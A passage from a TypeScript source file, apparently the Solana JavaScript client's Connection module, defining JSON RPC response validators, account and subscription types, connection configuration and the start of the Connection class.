number(),\n uiAmountString: optional(string()),\n});\n\n/**\n * Token address and balance.\n */\nexport type TokenAccountBalancePair = {\n /** Address of the token account */\n address: PublicKey;\n /** Raw amount of tokens as string ignoring decimals */\n amount: string;\n /** Number of decimals configured for token's mint */\n decimals: number;\n /** Token amount as float, accounts for decimals */\n uiAmount: number | null;\n /** Token amount as string, accounts for decimals */\n uiAmountString?: string;\n};\n\n/**\n * Expected JSON RPC response for the \"getTokenLargestAccounts\" message\n */\nconst GetTokenLargestAccountsResult = jsonRpcResultAndContext(\n array(\n pick({\n address: PublicKeyFromString,\n amount: string(),\n uiAmount: nullable(number()),\n decimals: number(),\n uiAmountString: optional(string()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getTokenAccountsByOwner\" message\n */\nconst GetTokenAccountsByOwner = jsonRpcResultAndContext(\n array(\n pick({\n pubkey: PublicKeyFromString,\n account: pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: BufferFromRawAccountData,\n rentEpoch: number(),\n }),\n }),\n ),\n);\n\nconst ParsedAccountDataResult = pick({\n program: string(),\n parsed: unknown(),\n space: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"getTokenAccountsByOwner\" message with parsed data\n */\nconst GetParsedTokenAccountsByOwner = jsonRpcResultAndContext(\n array(\n pick({\n pubkey: PublicKeyFromString,\n account: pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: ParsedAccountDataResult,\n rentEpoch: number(),\n }),\n }),\n ),\n);\n\n/**\n * Pair of an account address and its balance\n */\nexport type AccountBalancePair = {\n address: PublicKey;\n lamports: number;\n};\n\n/**\n * Expected JSON RPC response for the \"getLargestAccounts\" message\n */\nconst GetLargestAccountsRpcResult = jsonRpcResultAndContext(\n array(\n pick({\n lamports: number(),\n address: PublicKeyFromString,\n }),\n ),\n);\n\n/**\n * @internal\n */\nconst AccountInfoResult = pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: BufferFromRawAccountData,\n rentEpoch: number(),\n});\n\n/**\n * @internal\n */\nconst KeyedAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: AccountInfoResult,\n});\n\nconst ParsedOrRawAccountData = coerce(\n union([instance(Buffer), ParsedAccountDataResult]),\n union([RawAccountDataResult, ParsedAccountDataResult]),\n value => {\n if (Array.isArray(value)) {\n return create(value, BufferFromRawAccountData);\n } else {\n return value;\n }\n },\n);\n\n/**\n * @internal\n */\nconst ParsedAccountInfoResult = pick({\n executable: boolean(),\n owner: PublicKeyFromString,\n lamports: number(),\n data: ParsedOrRawAccountData,\n rentEpoch: number(),\n});\n\nconst KeyedParsedAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: ParsedAccountInfoResult,\n});\n\n/**\n * @internal\n */\nconst StakeActivationResult = pick({\n state: union([\n literal('active'),\n literal('inactive'),\n literal('activating'),\n literal('deactivating'),\n ]),\n active: number(),\n inactive: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"getConfirmedSignaturesForAddress2\" message\n */\n\nconst GetConfirmedSignaturesForAddress2RpcResult = jsonRpcResult(\n array(\n pick({\n signature: string(),\n slot: number(),\n err: TransactionErrorResult,\n memo: nullable(string()),\n blockTime: optional(nullable(number())),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getSignaturesForAddress\" message\n */\nconst GetSignaturesForAddressRpcResult = jsonRpcResult(\n array(\n pick({\n signature: string(),\n slot: number(),\n err: TransactionErrorResult,\n memo: nullable(string()),\n blockTime: optional(nullable(number())),\n }),\n ),\n);\n\n/***\n * Expected JSON RPC response for the \"accountNotification\" message\n */\nconst AccountNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(AccountInfoResult),\n});\n\n/**\n * @internal\n */\nconst ProgramAccountInfoResult = pick({\n pubkey: PublicKeyFromString,\n account: AccountInfoResult,\n});\n\n/***\n * Expected JSON RPC response for the \"programNotification\" message\n */\nconst ProgramAccountNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(ProgramAccountInfoResult),\n});\n\n/**\n * @internal\n */\nconst SlotInfoResult = pick({\n parent: number(),\n slot: number(),\n root: number(),\n});\n\n/**\n * Expected JSON RPC response for the \"slotNotification\" message\n */\nconst SlotNotificationResult = pick({\n subscription: number(),\n result: SlotInfoResult,\n});\n\n/**\n * Slot updates which can be used for tracking the live progress of a cluster.\n * - `\"firstShredReceived\"`: connected node received the first shred of a block.\n * Indicates that a new block that is being produced.\n * - `\"completed\"`: connected node has received all shreds of a block. Indicates\n * a block was recently produced.\n * - `\"optimisticConfirmation\"`: block was optimistically confirmed by the\n * cluster. It is not guaranteed that an optimistic confirmation notification\n * will be sent for every finalized blocks.\n * - `\"root\"`: the connected node rooted this block.\n * - `\"createdBank\"`: the connected node has started validating this block.\n * - `\"frozen\"`: the connected node has validated this block.\n * - `\"dead\"`: the connected node failed to validate this block.\n */\nexport type SlotUpdate =\n | {\n type: 'firstShredReceived';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'completed';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'createdBank';\n slot: number;\n timestamp: number;\n parent: number;\n }\n | {\n type: 'frozen';\n slot: number;\n timestamp: number;\n stats: {\n numTransactionEntries: number;\n numSuccessfulTransactions: number;\n numFailedTransactions: number;\n maxTransactionsPerEntry: number;\n };\n }\n | {\n type: 'dead';\n slot: number;\n timestamp: number;\n err: string;\n }\n | {\n type: 'optimisticConfirmation';\n slot: number;\n timestamp: number;\n }\n | {\n type: 'root';\n slot: number;\n timestamp: number;\n };\n\n/**\n * @internal\n */\nconst SlotUpdateResult = union([\n pick({\n type: union([\n literal('firstShredReceived'),\n literal('completed'),\n literal('optimisticConfirmation'),\n literal('root'),\n ]),\n slot: number(),\n timestamp: number(),\n }),\n pick({\n type: literal('createdBank'),\n parent: number(),\n slot: number(),\n timestamp: number(),\n }),\n pick({\n type: literal('frozen'),\n slot: number(),\n timestamp: number(),\n stats: pick({\n numTransactionEntries: number(),\n numSuccessfulTransactions: number(),\n numFailedTransactions: number(),\n maxTransactionsPerEntry: number(),\n }),\n }),\n pick({\n type: literal('dead'),\n slot: number(),\n timestamp: number(),\n err: string(),\n }),\n]);\n\n/**\n * Expected JSON RPC response for the \"slotsUpdatesNotification\" message\n */\nconst SlotUpdateNotificationResult = pick({\n subscription: number(),\n result: SlotUpdateResult,\n});\n\n/**\n * Expected JSON RPC response for the \"signatureNotification\" message\n */\nconst SignatureNotificationResult = pick({\n subscription: number(),\n result: notificationResultAndContext(\n union([SignatureStatusResult, SignatureReceivedResult]),\n ),\n});\n\n/**\n * Expected JSON RPC response for the \"rootNotification\" message\n */\nconst RootNotificationResult = pick({\n subscription: number(),\n result: number(),\n});\n\nconst ContactInfoResult = pick({\n pubkey: string(),\n gossip: nullable(string()),\n tpu: nullable(string()),\n rpc: nullable(string()),\n version: nullable(string()),\n});\n\nconst VoteAccountInfoResult = pick({\n votePubkey: string(),\n nodePubkey: string(),\n activatedStake: number(),\n epochVoteAccount: boolean(),\n epochCredits: array(tuple([number(), number(), number()])),\n commission: number(),\n lastVote: number(),\n rootSlot: nullable(number()),\n});\n\n/**\n * Expected JSON RPC response for the \"getVoteAccounts\" message\n */\nconst GetVoteAccounts = jsonRpcResult(\n pick({\n current: array(VoteAccountInfoResult),\n delinquent: array(VoteAccountInfoResult),\n }),\n);\n\nconst ConfirmationStatus = union([\n literal('processed'),\n literal('confirmed'),\n literal('finalized'),\n]);\n\nconst SignatureStatusResponse = pick({\n slot: number(),\n confirmations: nullable(number()),\n err: TransactionErrorResult,\n confirmationStatus: optional(ConfirmationStatus),\n});\n\n/**\n * Expected JSON RPC response for the \"getSignatureStatuses\" message\n */\nconst GetSignatureStatusesRpcResult = jsonRpcResultAndContext(\n array(nullable(SignatureStatusResponse)),\n);\n\n/**\n * Expected JSON RPC response for the \"getMinimumBalanceForRentExemption\" message\n */\nconst GetMinimumBalanceForRentExemptionRpcResult = jsonRpcResult(number());\n\nconst AddressTableLookupStruct = pick({\n accountKey: PublicKeyFromString,\n writableIndexes: array(number()),\n readonlyIndexes: array(number()),\n});\n\nconst ConfirmedTransactionResult = pick({\n signatures: array(string()),\n message: pick({\n accountKeys: array(string()),\n header: pick({\n numRequiredSignatures: number(),\n numReadonlySignedAccounts: number(),\n numReadonlyUnsignedAccounts: number(),\n }),\n instructions: array(\n pick({\n accounts: array(number()),\n data: string(),\n programIdIndex: number(),\n }),\n ),\n recentBlockhash: string(),\n addressTableLookups: optional(array(AddressTableLookupStruct)),\n }),\n});\n\nconst AnnotatedAccountKey = pick({\n pubkey: PublicKeyFromString,\n signer: boolean(),\n writable: boolean(),\n source: optional(union([literal('transaction'), literal('lookupTable')])),\n});\n\nconst ConfirmedTransactionAccountsModeResult = pick({\n accountKeys: array(AnnotatedAccountKey),\n signatures: array(string()),\n});\n\nconst ParsedInstructionResult = pick({\n parsed: unknown(),\n program: string(),\n programId: PublicKeyFromString,\n});\n\nconst RawInstructionResult = pick({\n accounts: array(PublicKeyFromString),\n data: string(),\n programId: PublicKeyFromString,\n});\n\nconst InstructionResult = union([\n RawInstructionResult,\n ParsedInstructionResult,\n]);\n\nconst UnknownInstructionResult = union([\n pick({\n parsed: unknown(),\n program: string(),\n programId: string(),\n }),\n pick({\n accounts: array(string()),\n data: string(),\n programId: string(),\n }),\n]);\n\nconst ParsedOrRawInstruction = coerce(\n InstructionResult,\n UnknownInstructionResult,\n value => {\n if ('accounts' in value) {\n return create(value, RawInstructionResult);\n } else {\n return create(value, ParsedInstructionResult);\n }\n },\n);\n\n/**\n * @internal\n */\nconst ParsedConfirmedTransactionResult = pick({\n signatures: array(string()),\n message: pick({\n accountKeys: array(AnnotatedAccountKey),\n instructions: array(ParsedOrRawInstruction),\n recentBlockhash: string(),\n addressTableLookups: optional(nullable(array(AddressTableLookupStruct))),\n }),\n});\n\nconst TokenBalanceResult = pick({\n accountIndex: number(),\n mint: string(),\n owner: optional(string()),\n programId: optional(string()),\n uiTokenAmount: TokenAmountResult,\n});\n\nconst LoadedAddressesResult = pick({\n writable: array(PublicKeyFromString),\n readonly: array(PublicKeyFromString),\n});\n\n/**\n * @internal\n */\nconst ConfirmedTransactionMetaResult = pick({\n err: TransactionErrorResult,\n fee: number(),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(\n pick({\n accounts: array(number()),\n data: string(),\n programIdIndex: number(),\n }),\n ),\n }),\n ),\n ),\n ),\n preBalances: array(number()),\n postBalances: array(number()),\n logMessages: optional(nullable(array(string()))),\n preTokenBalances: optional(nullable(array(TokenBalanceResult))),\n postTokenBalances: optional(nullable(array(TokenBalanceResult))),\n loadedAddresses: optional(LoadedAddressesResult),\n computeUnitsConsumed: optional(number()),\n});\n\n/**\n * @internal\n */\nconst ParsedConfirmedTransactionMetaResult = pick({\n err: TransactionErrorResult,\n fee: number(),\n innerInstructions: optional(\n nullable(\n array(\n pick({\n index: number(),\n instructions: array(ParsedOrRawInstruction),\n }),\n ),\n ),\n ),\n preBalances: array(number()),\n postBalances: array(number()),\n logMessages: optional(nullable(array(string()))),\n preTokenBalances: optional(nullable(array(TokenBalanceResult))),\n postTokenBalances: optional(nullable(array(TokenBalanceResult))),\n loadedAddresses: optional(LoadedAddressesResult),\n computeUnitsConsumed: optional(number()),\n});\n\nconst TransactionVersionStruct = union([literal(0), literal('legacy')]);\n\n/** @internal */\nconst RewardsResult = pick({\n pubkey: string(),\n lamports: number(),\n postBalance: nullable(number()),\n rewardType: nullable(string()),\n commission: optional(nullable(number())),\n});\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message\n */\nconst GetBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message when `transactionDetails` is `none`\n */\nconst GetNoneModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message when `transactionDetails` is `accounts`\n */\nconst GetAccountsModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionAccountsModeResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message\n */\nconst GetParsedBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ParsedConfirmedTransactionResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message when `transactionDetails` is `accounts`\n */\nconst GetParsedAccountsModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionAccountsModeResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n version: optional(TransactionVersionStruct),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message when `transactionDetails` is `none`\n */\nconst GetParsedNoneModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getConfirmedBlock\" message\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetBlockRpcResult} instead.\n */\nconst GetConfirmedBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message\n */\nconst GetBlockSignaturesRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n signatures: array(string()),\n blockTime: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getTransaction\" message\n */\nconst GetTransactionRpcResult = jsonRpcResult(\n nullable(\n pick({\n slot: number(),\n meta: nullable(ConfirmedTransactionMetaResult),\n blockTime: optional(nullable(number())),\n transaction: ConfirmedTransactionResult,\n version: optional(TransactionVersionStruct),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getTransaction\" message\n */\nconst GetParsedTransactionRpcResult = jsonRpcResult(\n nullable(\n pick({\n slot: number(),\n transaction: ParsedConfirmedTransactionResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n blockTime: optional(nullable(number())),\n version: optional(TransactionVersionStruct),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getRecentBlockhash\" message\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetLatestBlockhashRpcResult} instead.\n */\nconst GetRecentBlockhashAndContextRpcResult = jsonRpcResultAndContext(\n pick({\n blockhash: string(),\n feeCalculator: pick({\n lamportsPerSignature: number(),\n }),\n }),\n);\n\n/**\n * Expected JSON RPC response for the \"getLatestBlockhash\" message\n */\nconst GetLatestBlockhashRpcResult = jsonRpcResultAndContext(\n pick({\n blockhash: string(),\n lastValidBlockHeight: number(),\n }),\n);\n\n/**\n * Expected JSON RPC response for the \"isBlockhashValid\" message\n */\nconst IsBlockhashValidRpcResult = jsonRpcResultAndContext(boolean());\n\nconst PerfSampleResult = pick({\n slot: number(),\n numTransactions: number(),\n numSlots: number(),\n samplePeriodSecs: number(),\n});\n\n/*\n * Expected JSON RPC response for \"getRecentPerformanceSamples\" message\n */\nconst GetRecentPerformanceSamplesRpcResult = jsonRpcResult(\n array(PerfSampleResult),\n);\n\n/**\n * Expected JSON RPC response for the \"getFeeCalculatorForBlockhash\" message\n */\nconst GetFeeCalculatorRpcResult = jsonRpcResultAndContext(\n nullable(\n pick({\n feeCalculator: pick({\n lamportsPerSignature: number(),\n }),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"requestAirdrop\" message\n */\nconst RequestAirdropRpcResult = jsonRpcResult(string());\n\n/**\n * Expected JSON RPC response for the \"sendTransaction\" message\n */\nconst SendTransactionRpcResult = jsonRpcResult(string());\n\n/**\n * Information about the latest slot being processed by a node\n */\nexport type SlotInfo = {\n /** Currently processing slot */\n slot: number;\n /** Parent of the current slot */\n parent: number;\n /** The root block of the current slot's fork */\n root: number;\n};\n\n/**\n * Parsed account data\n */\nexport type ParsedAccountData = {\n /** Name of the program that owns this account */\n program: string;\n /** Parsed account data */\n parsed: any;\n /** Space used by account data */\n space: number;\n};\n\n/**\n * Stake Activation data\n */\nexport type StakeActivationData = {\n /** the stake account's activation state */\n state: 'active' | 'inactive' | 'activating' | 'deactivating';\n /** stake active during the epoch */\n active: number;\n /** stake inactive during the epoch */\n inactive: number;\n};\n\n/**\n * Data slice argument for getProgramAccounts\n */\nexport type DataSlice = {\n /** offset of data slice */\n offset: number;\n /** length of data slice */\n length: number;\n};\n\n/**\n * Memory comparison filter for getProgramAccounts\n */\nexport type MemcmpFilter = {\n memcmp: {\n /** offset into program account data to start comparison */\n offset: number;\n } & (\n | {\n encoding?: 'base58'; // Base-58 is the default when not supplied.\n /** data to match, as base-58 encoded string and limited to less than 129 bytes */\n bytes: string;\n }\n | {\n encoding: 'base64';\n /** data to match, as base-64 encoded string */\n bytes: string;\n }\n );\n};\n\n/**\n * Data size comparison filter for getProgramAccounts\n */\nexport type DataSizeFilter = {\n /** Size of data for program account data length comparison */\n dataSize: number;\n};\n\n/**\n * A filter object for getProgramAccounts\n */\nexport type GetProgramAccountsFilter = MemcmpFilter | DataSizeFilter;\n\n/**\n * Configuration object for getProgramAccounts requests\n */\nexport type GetProgramAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional encoding for account data (default base64)\n * To use \"jsonParsed\" encoding, please refer to `getParsedProgramAccounts` in connection.ts\n * */\n encoding?: 'base64';\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n /** Optional array of filters to apply to accounts */\n filters?: GetProgramAccountsFilter[];\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** wrap the result in an RpcResponse JSON object */\n withContext?: boolean;\n};\n\nexport type GetProgramAccountsResponse = readonly Readonly<{\n account: AccountInfo<Buffer>;\n /** the account Pubkey as base-58 encoded string */\n pubkey: PublicKey;\n}>[];\n\n/**\n * Configuration object for getParsedProgramAccounts\n */\nexport type GetParsedProgramAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional array of filters to apply to accounts */\n filters?: GetProgramAccountsFilter[];\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for getMultipleAccounts\n */\nexport type GetMultipleAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetStakeActivationConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Epoch for which to calculate activation details. If parameter not provided, defaults to current epoch */\n epoch?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetTokenAccountsByOwnerConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetTransactionCountConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getNonce`\n */\nexport type GetNonceConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getNonceAndContext`\n */\nexport type GetNonceAndContextConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\nexport type AccountSubscriptionConfig = Readonly<{\n /** Optional commitment level */\n commitment?: Commitment;\n /**\n * Encoding format for Account data\n * - `base58` is slow.\n * - `jsonParsed` encoding attempts to use program-specific state parsers to return more\n * human-readable and explicit account state data\n * - If `jsonParsed` is requested but a parser cannot be found, the field falls back to `base64`\n * encoding, detectable when the `data` field is type `string`.\n */\n encoding?: 'base58' | 'base64' | 'base64+zstd' | 'jsonParsed';\n}>;\n\nexport type ProgramAccountSubscriptionConfig = Readonly<{\n /** Optional commitment level */\n commitment?: Commitment;\n /**\n * Encoding format for Account data\n * - `base58` is slow.\n * - `jsonParsed` encoding attempts to use program-specific state parsers to return more\n * human-readable and explicit account state data\n * - If `jsonParsed` is requested but a parser cannot be found, the field falls back to `base64`\n * encoding, detectable when the `data` field is type `string`.\n */\n encoding?: 'base58' | 'base64' | 'base64+zstd' | 'jsonParsed';\n /**\n * Filter results using various filter objects\n * The resultant account must meet ALL filter criteria to be included in the returned results\n */\n filters?: GetProgramAccountsFilter[];\n}>;\n\n/**\n * Information describing an account\n */\nexport type AccountInfo<T> = {\n /** `true` if this account's data contains a loaded program */\n executable: boolean;\n /** Identifier of the program that owns the account */\n owner: PublicKey;\n /** Number of lamports assigned to the account */\n lamports: number;\n /** Optional data assigned to the account */\n data: T;\n /** Optional rent epoch info for account */\n rentEpoch?: number;\n};\n\n/**\n * Account information identified by pubkey\n */\nexport type KeyedAccountInfo = {\n accountId: PublicKey;\n accountInfo: AccountInfo<Buffer>;\n};\n\n/**\n * Callback function for account change notifications\n */\nexport type AccountChangeCallback = (\n accountInfo: AccountInfo<Buffer>,\n context: Context,\n) => void;\n\n/**\n * Callback function for program account change notifications\n */\nexport type ProgramAccountChangeCallback = (\n keyedAccountInfo: KeyedAccountInfo,\n context: Context,\n) => void;\n\n/**\n * Callback function for slot change notifications\n */\nexport type SlotChangeCallback = (slotInfo: SlotInfo) => void;\n\n/**\n * Callback function for slot update notifications\n */\nexport type SlotUpdateCallback = (slotUpdate: SlotUpdate) => void;\n\n/**\n * Callback function for signature status notifications\n */\nexport type SignatureResultCallback = (\n signatureResult: SignatureResult,\n context: Context,\n) => void;\n\n/**\n * Signature status notification with transaction result\n */\nexport type SignatureStatusNotification = {\n type: 'status';\n result: SignatureResult;\n};\n\n/**\n * Signature received notification\n */\nexport type SignatureReceivedNotification = {\n type: 'received';\n};\n\n/**\n * Callback function for signature notifications\n */\nexport type SignatureSubscriptionCallback = (\n notification: SignatureStatusNotification | SignatureReceivedNotification,\n context: Context,\n) => void;\n\n/**\n * Signature subscription options\n */\nexport type SignatureSubscriptionOptions = {\n commitment?: Commitment;\n enableReceivedNotification?: boolean;\n};\n\n/**\n * Callback function for root change notifications\n */\nexport type RootChangeCallback = (root: number) => void;\n\n/**\n * @internal\n */\nconst LogsResult = pick({\n err: TransactionErrorResult,\n logs: array(string()),\n signature: string(),\n});\n\n/**\n * Logs result.\n */\nexport type Logs = {\n err: TransactionError | null;\n logs: string[];\n signature: string;\n};\n\n/**\n * Expected JSON RPC response for the \"logsNotification\" message.\n */\nconst LogsNotificationResult = pick({\n result: notificationResultAndContext(LogsResult),\n subscription: number(),\n});\n\n/**\n * Filter for log subscriptions.\n */\nexport type LogsFilter = PublicKey | 'all' | 'allWithVotes';\n\n/**\n * Callback function for log notifications.\n */\nexport type LogsCallback = (logs: Logs, ctx: Context) => void;\n\n/**\n * Signature result\n */\nexport type SignatureResult = {\n err: TransactionError | null;\n};\n\n/**\n * Transaction error\n */\nexport type TransactionError = {} | string;\n\n/**\n * Transaction confirmation status\n * <pre>\n * 'processed': Transaction landed in a block which has reached 1 confirmation by the connected node\n * 'confirmed': Transaction landed in a block which has reached 1 confirmation by the cluster\n * 'finalized': Transaction landed in a block which has been finalized by the cluster\n * </pre>\n */\nexport type TransactionConfirmationStatus =\n | 'processed'\n | 'confirmed'\n | 'finalized';\n\n/**\n * Signature status\n */\nexport type SignatureStatus = {\n /** when the transaction was processed */\n slot: number;\n /** the number of blocks that have been confirmed and voted on in the fork containing `slot` */\n confirmations: number | null;\n /** transaction error, if any */\n err: TransactionError | null;\n /** cluster confirmation status, if data available. Possible responses: `processed`, `confirmed`, `finalized` */\n confirmationStatus?: TransactionConfirmationStatus;\n};\n\n/**\n * A confirmed signature with its status\n */\nexport type ConfirmedSignatureInfo = {\n /** the transaction signature */\n signature: string;\n /** when the transaction was processed */\n slot: number;\n /** error, if any */\n err: TransactionError | null;\n /** memo associated with the transaction, if any */\n memo: string | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** Cluster confirmation status, if available. Possible values: `processed`, `confirmed`, `finalized` */\n confirmationStatus?: TransactionConfirmationStatus;\n};\n\n/**\n * An object defining headers to be passed to the RPC server\n */\nexport type HttpHeaders = {\n [header: string]: string;\n} & {\n // Prohibited headers; for internal use only.\n 'solana-client'?: never;\n};\n\n/**\n * The type of the JavaScript `fetch()` API\n */\nexport type FetchFn = typeof fetchImpl;\n\n/**\n * A callback used to augment the outgoing HTTP request\n */\nexport type FetchMiddleware = (\n info: Parameters<FetchFn>[0],\n init: Parameters<FetchFn>[1],\n fetch: (...a: Parameters<FetchFn>) => void,\n) => void;\n\n/**\n * Configuration for instantiating a Connection\n */\nexport type ConnectionConfig = {\n /**\n * An `http.Agent` that will be used to manage socket connections (eg. to implement connection\n * persistence). Set this to `false` to create a connection that uses no agent. This applies to\n * Node environments only.\n */\n httpAgent?: NodeHttpAgent | NodeHttpsAgent | false;\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional endpoint URL to the fullnode JSON RPC PubSub WebSocket Endpoint */\n wsEndpoint?: string;\n /** Optional HTTP headers object */\n httpHeaders?: HttpHeaders;\n /** Optional custom fetch function */\n fetch?: FetchFn;\n /** Optional fetch middleware callback */\n fetchMiddleware?: FetchMiddleware;\n /** Optional Disable retrying calls when server responds with HTTP 429 (Too Many Requests) */\n disableRetryOnRateLimit?: boolean;\n /** time to allow for the server to initially process a transaction (in milliseconds) */\n confirmTransactionInitialTimeout?: number;\n};\n\n/** @internal */\nconst COMMON_HTTP_HEADERS = {\n 'solana-client': `js/${process.env.npm_package_version ?? 'UNKNOWN'}`,\n};\n\n/**\n * A connection to a fullnode JSON RPC endpoint\n */\nexport class Connection {\n /** @internal */ _commitment?: Commitment;\n /** @internal */ _confirmTransactionInitialTimeout?: number;\n /** @internal */ _rpcEndpoint: string;\n /** @internal */ _rpcWsEndpoint: string;\n /** @internal */ _rpcClient: RpcClient;\n /** @internal */ _rpcRequest: RpcRequest;\n /** @internal */ _rpcBatchRequest: RpcBatchRequest;\n /** @internal */ _rpcWebSocket: RpcWebSocketClient;\n /** @internal */ _rpcWebSocketConnected: boolean = false;\n /** @internal */ _rpcWebSocketHeartbeat: ReturnType<\n typeof setInterval\n > | null = null;\n /** @internal */ _rpcWebSocketIdleTimeout: ReturnType<\n typeof setTimeout\n > | null = null;\n /** @internal\n * A number that we increment every time an active connection closes.\n * Used to determine whether the same socket connection that was open\n * when an async operation started is the same one that's active when\n * its continuation fires.\n *\n */ private _rpcWebSocketGeneration: number = 0;\n\n /** @internal */ _disableBlockhashCaching: boolean = false;\n /** @internal */ _pollingBlockhash: boolean = false;\n /** @internal */ _blockhashInfo: {\n latestBlockhash: BlockhashWithExpiryBlockHeight | null;\n lastFetch: number;\n simulatedSignatures: Array<string>;\n transactionSignatures: Array<string>;\n } = {\n latestBlockhash: null,\n lastFetch: 0,\n transactionSignatures: [],\n simulatedSignatures: [],\n };\n\n /** @internal */ private _nextClientSubscriptionId: ClientSubscriptionId = 0;\n /** @internal */ private _subscriptionDisposeFunctionsByClientSubscriptionId: {\n [clientSubscriptionId: ClientSubscriptionId]:\n | SubscriptionDisposeFn\n | undefined;\n } = {};\n /** @internal */ private _subscriptionHashByClientSubscriptionId: {\n [clientSubscriptionId: ClientSubscriptionId]:\n | SubscriptionConfigHash\n | undefined;\n } = {};\n /** @internal */ private _subscriptionStateChangeCallbacksByHash: {\n [hash: SubscriptionConfigHash]:\n | Set<SubscriptionStateChangeCallback>\n | undefined;\n } = {};\n /** @internal */ private _subscriptionCallbacksByServerSubscriptionId: {\n [serverSubscriptionId: ServerSubscriptionId]:\n | Set<SubscriptionConfig['callback']>\n | undefined;\n } = {};\n /** @internal */ private _subscriptionsByHash: {\n [hash: 